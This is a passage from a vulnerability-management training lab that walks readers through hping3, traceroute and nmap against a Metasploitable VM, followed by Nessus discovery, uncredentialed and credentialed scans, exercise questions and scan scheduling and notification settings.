&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;hping3 &lt;span class=&quot;nt&quot;&gt;-S&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 53 172.16.84.3   
HPING 172.16.84.3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;eth0 172.16.84.3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: S &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;, 40 headers + 0 data bytes
&lt;span class=&quot;nv&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;46 &lt;span class=&quot;nv&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;172.16.84.3 &lt;span class=&quot;nv&quot;&gt;ttl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;64 DF &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;nv&quot;&gt;sport&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;53 &lt;span class=&quot;nv&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;SA &lt;span class=&quot;nb&quot;&gt;seq&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;nv&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5840 &lt;span class=&quot;nv&quot;&gt;rtt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3.5 ms

&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; 172.16.84.3 hping statistic &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 3.5/3.5/3.5 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I encourage you to explore other options and functionality of the &lt;em&gt;hping3&lt;/em&gt; tool and think of other ways you might be able to use it for basic scanning, troubleshooting, etc…&lt;/p&gt;

&lt;h6 id=&quot;traceroute&quot;&gt;&lt;a href=&quot;https://linux.die.net/man/8/traceroute&quot;&gt;traceroute&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;&lt;em&gt;traceroute&lt;/em&gt; (or &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tracert&quot;&gt;tracert&lt;/a&gt;&lt;/em&gt; on Windows) is a simple network utility which tracks the route packets take on an IP network to a destination host. This handy tool is useful when diagnosing routing failures which may exist between a scan host and the target host.&lt;/p&gt;

&lt;p&gt;This short exercise will demonstrate the route a network packet takes from your Kali system to your actual router/gateway. First, &lt;a href=&quot;https://nordvpn.com/blog/find-router-ip-address/&quot;&gt;figure out the IP address of your router&lt;/a&gt;. An easy way to do this may be to just run &lt;em&gt;ipconfig&lt;/em&gt;/&lt;em&gt;ifconfig&lt;/em&gt;, figure out your parent host IP address and then change the fourth octet to a “1”. For example, if your parent host IP is &lt;em&gt;192.168.1.39&lt;/em&gt;, your router’s IP may likely be &lt;em&gt;192.168.1.1&lt;/em&gt;. &lt;em&gt;OK&lt;/em&gt;, with your router IP address in-hand, go back to your Kali system and try the following &lt;em&gt;traceroute&lt;/em&gt; command. &lt;em&gt;Replace 192.168.1.1 with the IP address of your router&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;traceroute 192.168.1.1
traceroute to 192.168.1.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.1.1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, 30 hops max, 60 byte packets
 1  172.16.84.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;172.16.84.1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  0.311 ms  0.179 ms  0.110 ms
 2  192.168.1.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.1.1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  1.359 ms  1.291 ms  1.241 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here you will see that in order for the packet to reach its destination (the router IP), it had to traverse the IP &lt;em&gt;172.16.84.1&lt;/em&gt; which is the internal gateway for your virtualized host. On my parent host machine, this is the &lt;em&gt;bridge100&lt;/em&gt; VMware interface (which can be seen by running &lt;em&gt;ifconfig&lt;/em&gt; on the parent host).&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bridge100: &lt;span class=&quot;nv&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;8a63&amp;lt;UP,BROADCAST,SMART,RUNNING,ALLMULTI,SIMPLEX,MULTICAST&amp;gt; mtu 1500
	&lt;span class=&quot;nv&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3&amp;lt;RXCSUM,TXCSUM&amp;gt;
	ether 02:3e:e1:2c:ad:64
	inet 172.16.84.1 netmask 0xffffff00 broadcast 172.16.84.255
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If I was unable to reach the router with &lt;em&gt;traceroute&lt;/em&gt;, the culprit could very likely be this intermediary router. Don’t stop here though, think of some other things you can trace!&lt;/p&gt;

&lt;h6 id=&quot;nmap&quot;&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;Finally, let’s take &lt;em&gt;quick&lt;/em&gt; peek at &lt;em&gt;Nmap&lt;/em&gt;. Nmap is a &lt;em&gt;very&lt;/em&gt; full-featured network exploration, scanning and security auditing tool. It can scan multiple hosts at a time, perform service &lt;a href=&quot;https://www.whitehatsec.com/glossary/content/fingerprintingfootprinting&quot;&gt;fingerprinting&lt;/a&gt; and enumeration and even run &lt;a href=&quot;https://nmap.org/book/man-nse.html&quot;&gt;custom-built scripts&lt;/a&gt; which can audit the security of target hosts and even perform exploitation of vulnerabilities. It is a powerful tool, but you need only have a limited understanding of it’s feature-set to aid you in every-day VM &lt;a href=&quot;#vm-engineering&quot;&gt;engineering&lt;/a&gt;/&lt;a href=&quot;#vm-analysis&quot;&gt;analyst&lt;/a&gt; responsibilities.&lt;/p&gt;

&lt;p&gt;For this exercise, let’s just do a quick full-port-scan of the Metasploitable host from our Kali scan host. As usual, I first recommend reviewing the features and flags of Nmap by running “man Nmap”. Now, let’s run a simple, plain Nmap scan of the Metasploitable host using the command shown below.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap 172.16.84.3
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2021-04-21 09:45 EDT
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;172.16.84.3
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.0027s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  &lt;span class=&quot;nb&quot;&gt;exec
&lt;/span&gt;513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:4B:79:E4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;VMware&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;0.32 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From this scan, we can see there is a bevy of listening services. &lt;strong&gt;COOL&lt;/strong&gt;! As a VM analyst you may use this to quickly diagnose whether a port is open. This is quicker than running a network scan from a traditional vulnerability scanner.&lt;/p&gt;

&lt;h3 id=&quot;exercise-1-questions&quot;&gt;Exercise 1 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-11&quot;&gt;Question 1.1&lt;/h6&gt;
&lt;p&gt;What protocol does Kali use when you run &lt;em&gt;traceroute&lt;/em&gt; against your Metasploitable host? (&lt;strong&gt;TIP&lt;/strong&gt;: Try using &lt;em&gt;tcpdump&lt;/em&gt; to investigate.) –&amp;gt; &lt;a href=&quot;#answer-11&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-12&quot;&gt;Question 1.2&lt;/h6&gt;
&lt;p&gt;What port does &lt;em&gt;ping&lt;/em&gt; use? –&amp;gt; &lt;a href=&quot;#answer-12&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-13&quot;&gt;Question 1.3&lt;/h6&gt;
&lt;p&gt;How can you send a UDP packet to port 69 (of the Metasploitable box) using &lt;em&gt;hping3&lt;/em&gt;? What is returned from Metasploitable as a result of this packet? Why is this the response? –&amp;gt; &lt;a href=&quot;#answer-13&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-14&quot;&gt;Question 1.4&lt;/h6&gt;
&lt;p&gt;When using &lt;em&gt;traceroute&lt;/em&gt; targeting your &lt;strong&gt;home router&lt;/strong&gt;, what is the TTL of the first packet sent by &lt;em&gt;traceroute&lt;/em&gt;? What is returned in response to this packet and from what device? –&amp;gt; &lt;a href=&quot;#answer-14&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-15&quot;&gt;Question 1.5&lt;/h6&gt;
&lt;p&gt;By default what ports does &lt;em&gt;Nmap&lt;/em&gt; scan? How can you configure &lt;em&gt;Nmap&lt;/em&gt; to scan &lt;em&gt;all&lt;/em&gt; ports? –&amp;gt; &lt;a href=&quot;#answer-15&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-2-discovery-scanning&quot;&gt;Exercise 2: Discovery Scanning&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, so we have our &lt;a href=&quot;#exercise-0-lab-setup&quot;&gt;lab setup&lt;/a&gt; and we have some familiarity with &lt;a href=&quot;#exercise-1-network-tools-primer&quot;&gt;basic network utilties&lt;/a&gt;. Let’s begin the &lt;em&gt;network scanning&lt;/em&gt; portion of the lab with the typical &lt;em&gt;Step 1&lt;/em&gt;, &lt;strong&gt;Discovery Scanning&lt;/strong&gt;. Typically, prior to performing deeper &lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;vulnerability scans&lt;/a&gt; you want to first gather an inventory of in-scope devices on your target network. For the lab, we are focusing most of our &lt;em&gt;targeted&lt;/em&gt; efforts at the Metasploitable box, but for this exercise, we &lt;em&gt;can&lt;/em&gt; (if you would like) expand the scope of our scanning to include other devices on your home network. Follow the steps below to get started…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;On your Kali machine, &lt;a href=&quot;https://www.whitehatsec.com/glossary/content/fingerprintingfootprinting&quot;&gt;log into the Nessus web interface&lt;/a&gt;. You can do this by opening up &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/new/&quot;&gt;Firefox&lt;/a&gt; in Kali and navigating to the URL &lt;em&gt;https://127.0.0.1:8834/&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;Create a new scan by clicking the “New Scan” button in the top right corner of the Nessus interface.&lt;/li&gt;
  &lt;li&gt;Click the “Host Discovery” section of the “Scan Templates” menu.&lt;/li&gt;
  &lt;li&gt;Within the scan creation wizard, give the scan an appropriate name (such as “Discovery Scan”).&lt;/li&gt;
  &lt;li&gt;Populate the “Targets” section of the scan wizard with the IPs you wish to scan. For this, at a minimum, input the IP of your Metasploitable host. &lt;em&gt;Optionally&lt;/em&gt;, you can choose to put in the class-C subnet that your &lt;a href=&quot;https://en.wikipedia.org/wiki/Private_network&quot;&gt;home network&lt;/a&gt; uses (likely something similar to &lt;em&gt;192.168.1.0/24&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;Click the “Save” button at the bottom of the scan creation wizard.&lt;/li&gt;
  &lt;li&gt;Click the “Play” button at the right hand side of the scan record on the main Nessus interface. This will run the scan.&lt;/li&gt;
  &lt;li&gt;Give the scan a few minutes to complete.&lt;/li&gt;
  &lt;li&gt;Once the scan completes, click anywhere on the record to open up the scan results.&lt;/li&gt;
  &lt;li&gt;Within this view, you can see the IPs found, and any vulnerabilities/plugins that were identified during the scan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/discoveryscan.png&quot; alt=&quot;Discovery Scan Results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Congrats&lt;/em&gt;! You just performed a &lt;em&gt;discovery scan&lt;/em&gt; with Nessus! One important thing to keep in mind with the &lt;a href=&quot;https://community.tenable.com/s/article/Nessus-Essentials&quot;&gt;free version of Nessus&lt;/a&gt; is that though there is no limit on the devices you can &lt;em&gt;discover&lt;/em&gt; with Nessus, you will only be able to perform &lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;vulnerability scanning&lt;/a&gt; against a &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-faq&quot;&gt;max of 16&lt;/a&gt; target systems.&lt;/p&gt;

&lt;h3 id=&quot;exercise-2-questions&quot;&gt;Exercise 2 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-21&quot;&gt;Question 2.1&lt;/h6&gt;
&lt;p&gt;By default, what “ping methods” are used by a Nessus &lt;a href=&quot;https://docs.tenable.com/nessus/Content/HostDiscovery.htm&quot;&gt;host discovery scan&lt;/a&gt;. –&amp;gt; &lt;a href=&quot;#answer-21&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-22&quot;&gt;Question 2.2&lt;/h6&gt;
&lt;p&gt;What are the &lt;em&gt;two&lt;/em&gt; &lt;a href=&quot;https://www.tenable.com/plugins&quot;&gt;Nessus plugins&lt;/a&gt; triggered by the Nessus &lt;em&gt;host discovery&lt;/em&gt; scan? –&amp;gt; &lt;a href=&quot;#answer-22&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-23&quot;&gt;Question 2.3&lt;/h6&gt;
&lt;p&gt;Does the &lt;em&gt;host discovery&lt;/em&gt; scan perform “&lt;a href=&quot;https://docs.tenable.com/nessus/Content/NessusCredentialedChecks.htm&quot;&gt;Credentialed checks&lt;/a&gt;”? How can you confirm this within Nessus? –&amp;gt; &lt;a href=&quot;#answer-23&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-24&quot;&gt;Question 2.4&lt;/h6&gt;
&lt;p&gt;What ping method was successful in identifying the live Metasploitable host? –&amp;gt; &lt;a href=&quot;#answer-24&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-3-vulnerability-scanning&quot;&gt;Exercise 3: Vulnerability Scanning&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, now that we’ve &lt;em&gt;&lt;a href=&quot;#exercise-2-discovery-scanning&quot;&gt;discovered&lt;/a&gt;&lt;/em&gt; our target system(s), we now move into the actual &lt;em&gt;vulnerability scanning&lt;/em&gt; portion of our &lt;a href=&quot;#vulnerability-management&quot;&gt;VM lifecycle&lt;/a&gt;. &lt;a href=&quot;#vm-tools&quot;&gt;Tools like Nessus&lt;/a&gt; are purpose built with an &lt;a href=&quot;https://www.tenable.com/plugins&quot;&gt;expansive set of detection plugins&lt;/a&gt; to find, classify and even &lt;a href=&quot;#exercise-5-reviewinganalyzing-results&quot;&gt;risk-rank&lt;/a&gt; vulnerabilities. Network scanning tools have a number of different methods for detecting vulnerabilities, two of these methods are &lt;strong&gt;&lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;#uncredentialed-scan&quot;&gt;uncredentialed&lt;/a&gt;&lt;/strong&gt; scanning. Ideally, where possible, you want all scans to be credentialed. Credentialed scans have higher-fidelity results (less false-positives) and they also find &lt;em&gt;more&lt;/em&gt; issues overall. With that said, you won’t always have credentials for a target so you may have to settle for an uncredentialed scan. These two types of scans also function a little differently. Credentialed scans will actually “physically” login to a target system and enumerate vulnerabilities by running commands directly on the system. Uncredentialed scans on the other hand, are unable to login to the target system and must instead rely on anonymous/remote fingerprinting mechanisms to detect potential vulnerabilities. Let’s run through a pair of exercises for configuring and running an uncredentialed and credentialed scan respectively.&lt;/p&gt;

&lt;h6 id=&quot;uncredentialed-scan&quot;&gt;&lt;strong&gt;Uncredentialed Scan&lt;/strong&gt;&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;Create a new scan by clicking the “New Scan” button in the top right corner of the Nessus interface.&lt;/li&gt;
  &lt;li&gt;Click the “Basic Network Scan” section of the “Scan Templates” menu.&lt;/li&gt;
  &lt;li&gt;Within the scan creation wizard, give the scan an appropriate name (such as “Uncredentialed Scan”).&lt;/li&gt;
  &lt;li&gt;Populate the “Targets” section of the scan wizard with the IPs you wish to scan. For this, input the IP of your Metasploitable host.&lt;/li&gt;
  &lt;li&gt;Click the “Save” button at the bottom of the scan creation wizard.&lt;/li&gt;
  &lt;li&gt;Click the “Play” button at the right hand side of the scan record on the main Nessus interface. This will run the scan.&lt;/li&gt;
  &lt;li&gt;Give the scan a few minutes to complete. It will take a little longer than the &lt;em&gt;host discovery&lt;/em&gt; scan.&lt;/li&gt;
  &lt;li&gt;Once the scan completes, click anywhere on the record to open up the scan results.&lt;/li&gt;
  &lt;li&gt;Within this view, click on the “Vulnerabilities” tab and you will be able to view all vulnerabilities/plugins that were identified during the scan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, the &lt;em&gt;uncredentialed&lt;/em&gt; scan yields &lt;em&gt;A&lt;/em&gt; &lt;em&gt;LOT&lt;/em&gt; more plugins being returned and plenty of vulnerabilities found. (Remember, there were only two plugins found during the &lt;a href=&quot;#exercise-2-discovery-scanning&quot;&gt;discovery scan&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/uncred-results.png&quot; alt=&quot;uncred-results&quot; /&gt;&lt;/p&gt;

&lt;h6 id=&quot;credentialed-scan&quot;&gt;&lt;strong&gt;Credentialed Scan&lt;/strong&gt;&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;Create a new scan by clicking the “New Scan” button in the top right corner of the Nessus interface.&lt;/li&gt;
  &lt;li&gt;Click the “Basic Network Scan” section of the “Scan Templates” menu.&lt;/li&gt;
  &lt;li&gt;Within the scan creation wizard, give the scan an appropriate name (such as “Credentialed Scan”).&lt;/li&gt;
  &lt;li&gt;Populate the “Targets” section of the scan wizard with the IPs you wish to scan. For this, input the IP of your Metasploitable host.&lt;/li&gt;
  &lt;li&gt;Click on the “Credentials” tab of the scan creation wizard and then click “SSH”.&lt;/li&gt;
  &lt;li&gt;In the right-hand pane change the “Authentication method” drop-down to “password” and then set the “Username” and “Password” text-fields each to &lt;em&gt;&lt;a href=&quot;#answer-01&quot;&gt;msfadmin&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;Click the “Save” button at the bottom of the scan creation wizard.&lt;/li&gt;
  &lt;li&gt;Click the “Play” button at the right hand side of the scan record on the main Nessus interface. This will run the scan.&lt;/li&gt;
  &lt;li&gt;Give the scan a few minutes to complete.&lt;/li&gt;
  &lt;li&gt;Once the scan completes, click anywhere on the record to open up the scan results.&lt;/li&gt;
  &lt;li&gt;Within this view, click on the “Vulnerabilities” tab and you will be able to view all vulnerabilities/plugins that were identified during the scan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see from the image below, and as-predicted (compared to the screenshot of the &lt;a href=&quot;#uncredentialed-scan&quot;&gt;uncredentialed&lt;/a&gt; scan results), there are far more findings with the &lt;em&gt;credentialed&lt;/em&gt; scan.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/cred-results.png&quot; alt=&quot;cred-results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Well done&lt;/em&gt;! We should now have plenty of vulnerability data to work with for the &lt;a href=&quot;#exercise-4-scanning-enrichment&quot;&gt;rest of the exercises&lt;/a&gt; in the lab.&lt;/p&gt;

&lt;h3 id=&quot;exercise-3-questions&quot;&gt;Exercise 3 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-31&quot;&gt;Question 3.1&lt;/h6&gt;
&lt;p&gt;What different severities does Nessus report for vulnerabilities? –&amp;gt; &lt;a href=&quot;#answer-31&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-32&quot;&gt;Question 3.2&lt;/h6&gt;
&lt;p&gt;Given just the &lt;em&gt;&lt;a href=&quot;#uncredentialed-scan&quot;&gt;uncredentialed&lt;/a&gt;&lt;/em&gt; scan, what is the &lt;em&gt;most severe&lt;/em&gt; vulnerability according to Nessus? Why has Nessus given this vulnerability this rating? –&amp;gt; &lt;a href=&quot;#answer-32&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-33&quot;&gt;Question 3.3&lt;/h6&gt;
&lt;p&gt;Now, according to the &lt;em&gt;&lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed&lt;/a&gt;&lt;/em&gt; scan results, what is the &lt;em&gt;most severe&lt;/em&gt; vulnerability according to Nessus? Why does this vulnerability have a higher &lt;a href=&quot;https://www.tenable.com/blog/what-is-vpr-and-how-is-it-different-from-cvss&quot;&gt;VPR&lt;/a&gt; severity score than the &lt;a href=&quot;#answer-32&quot;&gt;previously identified vulnerability&lt;/a&gt;? –&amp;gt; &lt;a href=&quot;#answer-33&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-34&quot;&gt;Question 3.4&lt;/h6&gt;
&lt;p&gt;Using what &lt;a href=&quot;https://www.tenable.com/plugins&quot;&gt;plugin(s)&lt;/a&gt; can we validate that the &lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scan&lt;/a&gt; was successful in logging into the target system. –&amp;gt; &lt;a href=&quot;#answer-34&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-35&quot;&gt;Question 3.5&lt;/h6&gt;
&lt;p&gt;The &lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scan&lt;/a&gt; was successful in logging into the target Metasploitable system, but had &lt;em&gt;some issue&lt;/em&gt; performing everything it was trying to accomplish. What happened here? –&amp;gt; &lt;a href=&quot;#answer-35&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-4-scanning-enrichment&quot;&gt;Exercise 4: Scanning Enrichment&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;Setting up vulnerability scans&lt;/a&gt; is an important first step for a &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;VM professional&lt;/a&gt;, but you shouldn’t stop there. There are always improvements and advancements that can be made within &lt;a href=&quot;vm-operations&quot;&gt;scanning operations&lt;/a&gt; or the VM program as a whole. These improvements can help alleviate time spent on manual tasks, reduce &lt;a href=&quot;https://www.atlassian.com/incident-management/kpis/common-metrics&quot;&gt;MTTR&lt;/a&gt;, improve the fidelity of reports or even increase the overall effectiveness of your scans. The challenge in VM is that of &lt;strong&gt;scale&lt;/strong&gt;. How can we scan &lt;em&gt;a lot of systems&lt;/em&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#title&quot;&gt;triage&lt;/a&gt;/resolve an even greater number of vulnerability findings with limited resources? The answer is usually coupling &lt;a href=&quot;#exercise-7-scripting--automation&quot;&gt;automation&lt;/a&gt; with robust &lt;a href=&quot;#scenario-4-prioritize&quot;&gt;prioritization&lt;/a&gt;. Below are just a few quick exercises that demonstrate &lt;em&gt;some&lt;/em&gt; improvements we can make just within &lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Nessus&lt;/a&gt; itself. Keep in mind, when working in an enterprise VM program you will have tools that have VM enrichment capabilities far beyond what &lt;a href=&quot;https://www.tenable.com/blog/nessus-home-is-now-nessus-essentials&quot;&gt;Nessus Essentials&lt;/a&gt; can offer.&lt;/p&gt;

&lt;p&gt;For each of the sub-exercises below, &lt;em&gt;first&lt;/em&gt; follow these steps.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open your &lt;em&gt;&lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scan&lt;/a&gt;&lt;/em&gt; results by clicking on the record on the Nessus main page.&lt;/li&gt;
  &lt;li&gt;Click on the “Configure” button to edit the scan configuration.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Automation &amp;amp; Scheduling&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Click on the “Schedule” side-tab under the “Basic” section within the configuration wizard.&lt;/li&gt;
  &lt;li&gt;Toggle “Enabled”. Here you can set a time for the scan to begin as well as an interval for that scan to run on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.tenable.com/tenableio/vulnerabilitymanagement/Content/Scans/BasicSettings.htm#Schedule2&quot;&gt;Scheduled scans&lt;/a&gt; are ideal as you may not want to scan certain devices during business hours. Automated, recurring scans mean one less thing a &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;VM professional&lt;/a&gt; has to perform manually. Combined, scheduled + recurring scans are an obvious advancement to be made to routine &lt;a href=&quot;#vm-operations&quot;&gt;VM operations&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Notifications &amp;amp; Filters&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Click on the “Notifications” side-tab under the “Basic” section within the configuration wizard.&lt;/li&gt;
  &lt;li&gt;In the “Email Recipient(s)” field you can provide email addresses for those who need to receive alerts on specific vulnerabilities.&lt;/li&gt;
  &lt;li&gt;In the “Result Filters” area, we can add filters such that notifications are sent only when certain criteria are met.&lt;/li&gt;
  &lt;li&gt;*For example, we may be interested in seeing alerts on all “Critical” risk vulnerabilities that are known to have an exploit available. We can create these two filters using the following filter-sets.
    &lt;ul&gt;
      &lt;li&gt;Match &lt;strong&gt;All&lt;/strong&gt; of the following:&lt;/li&gt;
      &lt;li&gt;Exploit Available is equal to true&lt;/li&gt;
      &lt;li&gt;Severity is equal to Critical&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Most&lt;/em&gt; vulnerabilities will likely be addressed through the &lt;a href=&quot;https://www.rapid7.com/fundamentals/patch-management/&quot;&gt;standard patching process&lt;/a&gt; which is governed by &lt;a href=&quot;https://www.sans.org/reading-room/whitepapers/standards/paper/548&quot;&gt;SLAs&lt;/a&gt; created in coordination between the VM team and the respective IT organization. There are however, &lt;em&gt;some&lt;/em&gt; vulnerabilities that may require &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#title&quot;&gt;more immediate analysis&lt;/a&gt; and mitigation. Using the notification/filter functionality, we can create alerts which will notify us the instant a vulnerability which meets this urgent criteria is discovered. At which point, we can immediately being to address that finding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reporting&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Click on the “REPORT” section within the “Settings” tab.&lt;/li&gt;
  &lt;li&gt;Uncheck the box for “Show missing patches that have been superseded”&lt;/li&gt;
&lt;/ul&gt;

